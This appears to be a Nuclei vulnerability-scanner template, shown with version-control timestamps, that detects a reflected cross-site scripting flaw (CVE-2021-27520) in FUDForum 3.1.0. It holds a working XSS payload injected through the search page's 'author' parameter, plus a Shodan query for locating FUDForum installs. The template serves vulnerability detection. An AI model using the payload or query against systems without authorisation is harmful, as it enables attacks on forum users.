2023-03-05 13:42:10 +00:00
|
|
|
id: CVE-2021-27520
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: FUDForum 3.1.0 - Cross Site Scripting
|
|
|
|
author: r3Y3r53
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript via index.php in the "author" parameter.
|
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/49943
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-27520
|
2023-03-05 14:19:20 +00:00
|
|
|
- https://github.com/fudforum/FUDforum/issues/2
|
|
|
|
- http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
|
|
|
cve-id: CVE-2021-27520
|
|
|
|
cwe-id: CWE-79
|
2023-03-05 13:42:10 +00:00
|
|
|
metadata:
|
|
|
|
shodan-query: html:"FUDforum"
|
2023-03-05 14:19:20 +00:00
|
|
|
verified: "true"
|
2023-03-06 13:37:50 +00:00
|
|
|
tags: packetstorm,cve,cve2021,xss,fuddorum,edb
|
2023-03-05 13:42:10 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D'
|
|
|
|
- '{{BaseURL}}/forum/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D%22'
|
|
|
|
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- 'onmouseover=alert(document.domain) x='
|
|
|
|
- 'FUDforum'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- 'text/html'
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|